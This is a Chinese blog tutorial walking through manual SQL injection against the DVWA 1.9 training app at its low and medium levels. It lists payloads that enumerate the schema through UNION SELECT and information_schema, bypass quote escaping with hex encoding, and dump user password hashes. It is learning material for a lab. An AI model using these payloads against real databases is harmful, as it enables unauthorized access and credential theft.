DVWA1.9 SQL注入全等级手工注入流程

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_29096093/article/details/85143820

最近想学习一下sql注入手工注入过,下面我将通过DVWA1.9的sql注入点进行手工注入。
手工注入的过程如下,MYSQL >5.0版的手工注入的原理主要是查询information_schema索引库来获取目标数据库的内容。

    1.判断是否存在注入,注入是字符型还是数字型
    2.猜解SQL查询语句中的字段数
    3.确定显示的字段顺序
    4.获取当前数据库
    5.获取数据库中的表
    6.获取表中的字段名
    7.下载数据

low

1. 判断注入类型

1.首先在注入点出输入1’,判断id参数存在SQL注入漏洞。
在这里插入图片描述

2.输入1 and 1=1 以及1 and 1=2 查看结果无报错,说明不是数字型的注入。
在这里插入图片描述在这里插入图片描述

3.输入1’ and ‘1’ =‘2 以及1’ or ‘1’ =‘1 其中1’ or ‘1’ ='1将所有的值返回出来,由此可以判断注入为字符型的注入。
在这里插入图片描述在这里插入图片描述

2.猜解字段数

猜解字段数方法可以使用order by语句进行字段数的猜解,具体的使用方法如下:
1.在方框处输入1′ or ‘1’='1 order by 2# 回显成功。

在这里插入图片描述

2.在方框处输入1′ or ‘1’='1 order by 3# 回显错误如下图所所示,表示目标只有两个字段。
在这里插入图片描述

3.猜解字段顺序

猜解字段的顺序使用的是联合查询:union select ,具体的猜解方法如下:
1.在方框处输入1’ union select 1,2#,显示结果如下图所示,union select 后面的数字1,2在页面上显示出来了,说明sql语句查询出来的结果在页面上显示的顺序为First name为第一个字段,Surname为第二个字段。

在这里插入图片描述

4.获取当前数据库

1.在输入框处的1’ union select 1,database()#,便可以在surname参数值处显示数据库的名字,如下图,显示的数据库名为dvwa。
在这里插入图片描述

5.获取数据库中的表

1.在输入框中输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
显示出了两个表,一个叫guestbook,一个叫users。

在这里插入图片描述

2.或者输入1’ union select 1,table_name from information_schema.tables where table_schema=database() #,爆出的结果如下,显示的内容为三行,由此可以确定group_concat()作用为把相同字段的内容打印在一起。
在这里插入图片描述

6.获取表中的字段名

1.在输入框中输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#,显示出users表中有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等8个字段。
在这里插入图片描述

7.获取字段值

1.在输入框中输入1’ or 1=1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users #,获取的结果如下图所示,最后一行的值为数据库中的内容。
在这里插入图片描述

Medium

DVWA1.9 SQL 注入medium级别的环境请求方式改为了post类型,我们使用burp来进行测试。

1. 判断注入类型

1.将id参数值改为1 or 1 = 1,输入结果如下图所示,爆出来了所有的用户,由此可以判断出注入类型为数字型注入。
在这里插入图片描述

2.猜解字段数

1.将id参数值改为1 or 1 = 1 order by 2#,返回成功,如下图。
在这里插入图片描述

2.将id参数值改为1 or 1 = 1 order by 3#,返回成功,如下图,未返回任何值,说明有2个字段。
在这里插入图片描述

3.猜解字段顺序

1.将id参数值修改为1 union select 1,2#,返回成功,判断出页面传输的顺序:First name为第一个字段,Surname为第二个字段。
在这里插入图片描述

4.获取当前数据库

1.将id参数的值修改为1 union select 1,database()#,返回成功,输出的结果可以判断出目标数据库的名为dvwa。
在这里插入图片描述

5.获取数据库中的表

1.将id参数的值改为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,可以判断出数据库中存在两个表,一个表为users,一个表为guestbook。
在这里插入图片描述

6.获取表中的字段名

1.将参数id的值改为1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#,返回结果为空,因为过滤了单引号(’),将’ 转义为了’。
在这里插入图片描述

2.将“‘users’”进行16进制转义,id参数的值改为了:1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,返回成功,获取到了数据库user表的字段值。
在这里插入图片描述

7.获取字段值

1.在输入框中输入1’ or 1=1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users #,获取的结果如下图所示,最后一行的值为数据库中的内容。
在这里插入图片描述

HIGH

high级别的注入加了一个弹窗,除此之外与low级别的注入没有什么区别,这里就不在过多的进行演示了。

总结

本人小白,请各位表哥批评指正。

猜你喜欢

转载自blog.csdn.net/qq_29096093/article/details/85143820
今日推荐